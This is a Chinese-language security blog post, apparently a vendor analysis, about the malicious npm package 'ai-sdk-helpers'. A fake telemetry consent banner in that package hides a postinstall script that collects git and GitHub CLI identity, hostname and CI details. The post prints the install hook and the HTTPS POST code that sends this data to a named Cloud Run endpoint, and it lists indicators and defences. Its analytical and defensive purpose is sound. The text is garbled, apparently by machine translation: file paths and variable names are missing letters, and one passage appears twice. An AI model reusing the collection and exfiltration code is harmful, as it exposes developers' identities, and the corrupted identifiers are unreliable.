ConsentMask 是一个用于隐藏开发者身份信息的 npm 包,用于收集身份信息。

ConsentMask:一个 npm 包,可在收集开发者身份信息时显示遥测同意横幅

TL博士

单个 npm 包, ai-sdk-helpers,它自称是 Vercel AI SDK 的生产工具包,提供成本跟踪、提供商回退和流式传输助手。

它的安装脚本以一个精美的披露横幅开始,该横幅描述了…… 匿名诊断承诺不会传输任何源代码、令牌或凭证,并遵守 DO_NOT_TRACK 选择退出,并链接到遥测政策页面。

同一个脚本还会读取开发者的 git 身份、GitHub CLI 配置、机器主机名、操作系统用户名、工作目录和 CI 提供程序。

这些数据以 JSON 格式 POST 到 Google Cloud Run 端点,导致声明的遥测策略与实际收集的字段之间存在明显的不匹配。

该软件包在短短 83 秒内发布了 22 个版本,并且每个标记版本的安装脚本都是逐字节相同的。

我们审查的八个版本中有七个是合格的。 pipeline 由于同意横幅的样式看起来像是合法的遥测数据,因此机器学习分类器将其评为不确定。

我们进行分类 ai-sdk-helpers 恶意行为,基于安装时开发者身份收集和泄露。

严重程度:高。

 安装过程剖析

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

安装后 自动运行 npm安装在导入软件包中任何已发布的代码之前。该脚本 scripts/postinstall.js 所有安装时的行为都发生在这里。

它以一段注释和运行时通知开头,这段注释和通知是用一个注重隐私的开源项目的注册表编写的:

安装 ai-sdk-helpers 时,我们会进行快速的环境兼容性检查并报告匿名诊断信息……数据完全匿名——我们收集您的平台、Node 版本以及机器标识符的单向哈希值。绝不会传输任何源代码、令牌或凭据。

它甚至还连接了一个可用的退出机制,这是文件中的第一个可执行代码:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

首先设置这个门锁,才能使其余部分看起来像是双方自愿的:一个开发商设置 `D_NOT_TRACK` 安装过程静默完成,并得出结论:该软件包遵循约定。这种选择退出机制是真实有效的。对于所有未设置该机制的用户,它所限制的是下文所述的集合,而不是通知中提到的范围更窄的“平台、Node 版本和单向哈希值”。

在该闸门下方,脚本会组装一个远远超出上述描述的有效载荷。

  • *Gt 身份。* r解决ScmIdentity()` 头`~.gitconfig`,`~.config/git/config`,以及当前项目的`。it/config`,解析 `[ser]` 执行该部分,并返回配置的内容。 commit 电子邮件。如果没有配置文件生成电子邮件,则回退到 `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,和“EAIL 环境变量。函数上方的文档字符串将该读取操作描述为“对同一用户拥有的多台机器(例如笔记本电脑 + CI)上的安装进行去重”——这一既定目标需要一个稳定的开发者标识符,而这…… commit 电子邮件用品。
  • *GtHub 账户* rsolveGitHubIdentity()` 头`~.config/gh/hosts.yml nd `~.config/gh/hosts.yaml 当开发者进行身份验证时,GitHub CLI 会写入配置文件,并使用正则表达式提取 `u`。呃: nd `eail:` 该文件还存储了 GitHub OAuth 令牌;脚本的正则表达式专门针对用户名和电子邮件行,而不会提取令牌。因此,披露横幅中“绝不传输任何令牌”的声明对于该字段而言是字面意义上的正确,而周围的帐户标识符则会被读取并发送。
  • *Hst 和 CI 指纹。* 然后脚本收集“o.hostname()`,`o.userInfo().username`,Node 版本、平台和架构,`pocess.cwd()`,通过检查八个 CI 提供商(GitHub Actions、GitLab CI、Jenkins、CircleCI、Travis、Buildkite 和两个通用 CI 标志)的环境变量,解析出了一个 CI 提供商标签。提供商列表可以看作是脚本预期执行位置的清单——包括交互式 shell 和自动化构建环境。 pipeline相似的。

所有这些都归为一类。不可知论者 bject,其中每个开发者的字段都收集在“i”下。实体 ey 和主机数据在 `r 下ntime` nd `cntext` 然后进行序列化和传输:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

响应被丢弃,所有错误都被忽略——注释指出“遥测数据绝不能中断安装”。端点主机名在 `e` 中编码了 Google Cloud Run 服务。绳索西1` 地区。

问题就出在这里。横幅上列出了三类数据——平台、Node 版本和机器标识符哈希值。有效载荷发送的是开发者的真实 Git 仓库地址。 commit 电子邮件地址、GitHub 用户名和电子邮件地址、机器主机名和操作系统帐户名、项目路径以及 CI 环境。用于标识 *p 的字段rson 及其账户* 正是披露文件中遗漏的字段。

README 文件从另一个角度强化了这种框架。其“遥测”部分重复了匿名声明,并链接到了“D”这个词。_NOT_TRACK` o `cnsoledonottrack.com`,记录退出约定的真正社区页面——借用公认的隐私 standard 使通知看起来像例行通知。

时间线

这是一个单版本发行案例,发行历史非常短且密集。没有持续数周的推广活动可供追踪——所有版本都是以机器般的速度推送的。

时间(UTC) 创建
2026-06-03 20:31:20 第一版(0.1.0已发布到 npm。
2026-06-03 20:31:20 – 20:32:43 全部 22 个版本(0.1.0 通过 1.4.2)以 83 秒的自动连发方式发布。
2026-06-04 检测到八个版本存在安全隐患;人工分析证实,这些版本在安装过程中存在身份信息收集和泄露行为。分析时,该软件包仍可在 npm 上访问。

跨越 22 个语义版本的 83 秒窗口本身就是一个行为指标:版本阶梯(`01.0`,`01.1`,…`14.2)它展示了一个正在积极维护的项目的概览,其中包含发布历史记录,所有信息均通过一次脚本运行生成。安装脚本在整个过程中保持不变——详见下文。

妥协指标

安装时有效载荷在已发布的版本范围内完全相同。ff` f `sripts/postinstall.js 版本 02.1` nd 版本 `14.2` 返回的结果没有差异;该行为是一个固定的指纹,而不是一个不断变化的有效载荷。

网络

跨越 22 个语义版本的 83 秒窗口本身就是一个行为指标:版本阶梯(`01.0`,`01.1`,…`14.2)它展示了一个正在积极维护的项目的概览,其中包含发布历史记录,所有信息均通过一次脚本运行生成。安装脚本在整个过程中保持不变——详见下文。

妥协指标

安装时有效载荷在已发布的版本范围内完全相同。ff` f `sripts/postinstall.js 版本 02.1` nd 版本 `14.2` 返回的结果没有差异;该行为是一个固定的指纹,而不是一个不断变化的有效载荷。

网络

指示符 职位
npm-package-logger-228835561205.europe-west1.run.app 数据泄露端点接收带有 JSON 有效负载的 HTTPS POST 请求。托管在 Google Cloud Run 上。 europe-west1 地区。

诱饵基础设施

指示符 职位
ai-sdk.guide 软件包主页和实时网站支持“AI SDK 指南”的作者身份。
ai-sdk.guide/telemetry 安装时披露通知中引用的遥测策略 URL。
hello@ai-sdk.guide 作者邮箱声明 package.json.
github.com/ai-sdk-guide/ai-sdk-helpers 软件包声明的源代码仓库。

安装时读取的文件

  • .gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
  • .config/gh/hosts.yml`,`~.config/gh/hosts.yaml GitHub CLI `u`eail`

行为特征

  • – m `pstinstall` 看起来调用了一个捆绑的 Node 脚本
  • – 选择退出门(`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)在身份信息收集之前,将其作为一项隐私功能进行宣传。
  • – 使用 tbound HTTPS POST 请求一个包含 Git 邮箱、GitHub 身份、主机名、操作系统用户名、当前工作目录和 CI 标签的 JSON 对象
  • 在快速发布的版本阶梯中,安装脚本完全相同

 归因与观察行为
除了软件包和注册表元数据记录的内容之外,我们不作任何其他推断。

npm 的记录维护者是账户 `aielsimon`,地址为“aiel@vigilance.security`。注册中心将该电子邮件地址列为未验证,并且该帐户的源代码控制标识也列为未验证。`pckage.json`,单独列出作者为“AI SDK 指南”ello@ai-sdk.guide>`”主页为“a-sdk.guide` 以及一个位于 `g 下的源代码库thub.com/ai-sdk-guide` 组织。发布帐户的电子邮件域名(`vigilance.security`)以及包内作者身份(`a-sdk.guide`)是不同的领域。

“a-sdk.guide` 它已上线并有响应,并且 `/元素 ath 解决方案——诱饵身份由可访问的网络存在而非死链接支持,这提高了包裹框架的可信度。

**已观察到的功能。** 安装时,该软件包会读取开发者身份和账户配置文件,识别主机和 CI 环境,并将结果传输到运维人员控制的端点,同时显示一条通知,说明实际使用的是范围更窄且匿名化的数据集。我们仅描述此行为,并不对其动机做出任何断言。评估该软件包的读者(包括任何知晓发布者身份的人员)应权衡声明数据流与实际数据流之间的明显差异。

谁会被曝光? 任何安装者 ai-sdk-helpers ——直接或作为传递依赖项——在该机器上运行集合。因为触发器是 安装后无需导入所宣传的库代码即可实现数据流;仅安装即可。最有价值的环境是已配置 Git 身份和已认证 GitHub CLI 的开发人员工作站,以及 CI 运行器,脚本的 CI 提供程序检测表明该集合预期在构建过程中运行。 pipeline以及在笔记本电脑上。

它揭露了什么。 通常情况下,并非应用程序密钥——有效载荷的核心是 身分开发者的 commit 电子邮件地址、他们的 GitHub 帐户名和电子邮件地址、机器名和帐户名以及项目路径。这是一个预处理步骤。cis绘制软件包安装者分布图,记录软件包的安装过程,包括安装机器、仓库位置以及持续集成 (CI) 系统。对于组织而言,少量此类记录即可罗列出哪些工程师和构建系统拉取了依赖项——即使软件包本身的行为仅限于收集和传输,这些信息也能为后续更有针对性的行动奠定基础。

趋势:利用遥测技术作为掩护。 合法的开发者工具确实会收集匿名化的安装诊断信息,并且遵循相应的规范来尊重地进行收集——例如,提供披露声明等。 请勿追踪 荣誉、退出标志、政策网址——这些都是众所周知的。 ai-sdk-helpers 它忠实地复刻了这四项惯例,并将其用作身份收集的包装器。同意横幅、有效的退出选项或隐私政策链接的存在并不能证明软件包值得信赖;这些控制措施很容易模仿。唯一可靠的检查方法是查看代码实际读取的内容以及实际发送到的位置。

这种包装方式对自动分诊也有显著影响。在所有版本中,我们的 pipeline 经审查,安装脚本中的通俗易懂的注释、结构化的字段名称以及常规的退出机制均被判定为普通遥测数据:八个遥测数据中有七个符合要求。 尚无定论 来自机器学习分类器而非恶意行为。消除歧义的信号不在文本中,而是在脚本打开的特定文件中(〜/ .gitconfig, ~/.config/gh/hosts.yml以及发送的目的地。无论是自动审核系统还是人工审核,如果仅阅读披露信息而止步于此,就会得出错误的结论;判断必须基于数据流的事实。

给辩护者的指导:

  • 安装时默认禁用脚本 — npm install --ignore-scripts, 或设置 ignore-scripts=true in .npmrc 并显式运行经过验证的构建步骤。这可以消除…… 安装后全面触发收集。
  • 不要将选择退出控制视为信任信号。 请勿追踪 检查或“遥测策略”链接不会告诉你当门未设置时脚本收集的数据。
  • 在采用 AI 生态系统辅助软件包之前,请阅读安装说明。Vercel AI SDK 领域瞬息万变,信任度极高; 安装后 触动 〜/ .gitconfig or ~/.config/gh/ 无论周围的评论如何写,这都是一个明确的信号。
  • 监控构建时出口。在构建过程中发起的出站 HTTPS POST 请求。 npm安装特别是对于新配置的云功能端点,在网络层是可观察的,并且是 CI 环境的强检测点。
  • 注意压缩版本阶梯。如果一个软件包的完整语义版本历史记录在几秒钟内显示出来,且安装脚本保持不变,那么它呈现的很可能是人为制造的维护历史记录。
sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
注册免费账号。
不需要信用卡。

保护您的软件开发和交付

使用 Xygeni 产品套件